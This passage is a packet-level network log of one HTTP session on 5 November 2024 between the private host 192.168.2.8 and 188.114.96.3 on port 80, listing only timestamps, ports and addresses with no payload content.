Nov 5, 2024 12:43:35.483948946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483962059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483983994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.483985901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.483999014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484011889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484026909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484057903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484137058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484148979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484158993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484170914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484181881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484185934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484195948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484204054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484211922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484215975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484244108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484252930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484292030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484292030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484304905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484317064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.484340906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.484363079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.514679909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514725924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514738083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514749050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514801979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.514821053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514836073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.514864922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.514869928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514882088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514895916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.514909983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.514925957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.514940023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515064955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515108109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515183926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515228987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515249968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515259981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515300989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515311956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515335083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515347004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515383959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515398979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515439034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515439034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515456915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515470028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515505075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.515614986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515630007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515640974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515647888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.515693903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.516275883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.516298056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.516309023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.516331911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.516355038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.517220020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517266989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517278910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517302990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.517332077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.517406940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517419100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517431974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517443895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517455101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.517468929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.517489910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.564315081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.564410925 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.564493895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.564812899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.564866066 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.598231077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.598247051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.598308086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599153996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599205971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599225044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599240065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599251032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599262953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599267960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599303007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599303007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599575043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599596024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599606991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599638939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599668026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599688053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599699020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599710941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599725962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599764109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599805117 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599868059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599899054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599915981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599926949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599926949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599929094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599941969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.599955082 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599965096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.599984884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600030899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600044012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600054026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600064993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600071907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600099087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600121021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600197077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600208998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600220919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600246906 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600272894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600368023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600380898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600390911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600404024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600409031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600440979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600604057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600615978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600627899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600642920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600661039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600661993 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600673914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600682020 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600687027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600697041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600708961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600713015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600733042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600745916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.600910902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.600950003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.601095915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.601109028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.601134062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.601155043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.601278067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.601351023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.601480961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.601494074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.601528883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.604402065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.604418039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.604470968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.604532003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.604712963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.604729891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.604758024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.604779005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605012894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605031013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605041981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605072975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605096102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605175972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605189085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605200052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605211020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605221987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605226040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605235100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605245113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605247021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605257034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605262041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605268002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605278015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605288029 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605297089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605300903 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605313063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605314970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605329037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.605345011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605345011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.605374098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.630481005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630508900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630517960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630527973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630538940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630549908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630567074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630580902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630600929 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.630650997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.630942106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630985975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.630995035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.630997896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631042957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631067991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631079912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631092072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631103992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631105900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631134987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631159067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631184101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631195068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631206036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631227970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631251097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631330967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631342888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631354094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631371021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631395102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.631670952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631746054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631757975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.631817102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.632704973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632718086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632735968 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632746935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632774115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.632791996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.632810116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632854939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.632858038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632870913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632900000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.632916927 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632926941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.632932901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.632987022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.679764986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.679781914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.679794073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.679868937 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.679898977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.716546059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.716564894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.716578960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.716658115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.716672897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.716686010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.716695070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.716701031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.716726065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.716727018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.716747046 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.716837883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717024088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717039108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717051983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717062950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717071056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717075109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717087984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717101097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717108011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717129946 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717144012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717349052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717365980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717391968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717407942 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717643023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717803955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717850924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.717940092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717952967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717964888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.717991114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718005896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718080997 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718096018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718135118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718242884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718255043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718274117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718285084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718296051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718297958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718327999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718349934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718414068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718429089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718440056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718456984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718463898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718466043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718466997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718513012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718537092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718568087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718583107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718641996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718642950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718750000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718763113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718774080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718780994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718787909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718806982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718822956 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718883991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718902111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718913078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718924999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.718946934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.718964100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719053030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719069004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719083071 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719151974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719202042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719213963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719224930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719238043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719238043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719295979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719295979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.719346046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719367027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719377995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719391108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719400883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.719412088 CET	80	49711	188.114.96.3	192.168.2.8
